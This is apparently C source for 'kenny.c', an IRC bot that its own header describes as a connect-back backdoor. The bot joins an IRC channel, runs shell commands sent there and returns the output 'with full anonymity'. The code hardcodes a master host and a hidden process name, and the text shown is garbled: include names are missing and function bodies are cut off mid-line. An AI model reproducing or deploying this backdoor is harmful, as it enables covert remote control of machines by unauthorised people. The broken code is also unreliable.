/* ** kenny.c by konewka ** ** Simple IRC bot, that can execute shell commands and print it out ** to you. With this bot you may execute shell commands with full anonymity, ** it's kind of connect back backdoor. ** ** It has been tested on IRCnet and EFnet IRC networks, and should ** compile without any problems on Linux and FreeBSD. ** ** If you want only one certain host to execute commands compile with ** -DMASTERONLY flag and change MASTER define. ** ** Fell free to add your functions, but keep my nickname in credits. */ #include #include #include #include #include #include #include #include #include #include #include #define MASTER "konewka@pr90.poznan.sdi.tpnet.pl" #define HIDE "kenny" #define MAX_NICK 9 #define MAX_SERVER 512 struct info { char server[256]; int port; char nick[MAX_NICK]; char chan[200]; char key[64]; }; int setupsock(char *host, int port); int parse_server(char *buf); void parse_channel(char *buf); void send_req(FILE *ircfd, struct info bot); void main_loop(FILE *ircfd, struct info bot); char *random_nick(void); void exec(FILE *ircfd, char *command, char *nick); char *remove_cr_nl(char *str); void sendirc(FILE *ircfd, char *format, ...); char *remove_cr_nl(char *str) { int i; for (i=0;ih_addr, hp->h_length); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("{-} cannot create socket\n"); return -1; } if (connect(sock, (struct sockaddr *)&remote, sizeof(remote)) < 0) { printf("{-} connection refused (%d)\n", port); return -1; } return sock; } int main(int argc, char *argv[]) { struct info bot; int i = 0, sd; FILE *ircfd; if (argc < 3) { printf("{+} usage: %s [ch_key]\n", argv[0]); return 0; } if (!strchr(argv[1], ':')) { printf("{-} Wrong server syntax.\n"); return -1; } memcpy(bot.server, strtok(argv[1], ":"), sizeof(bot.server)); for (i=0;i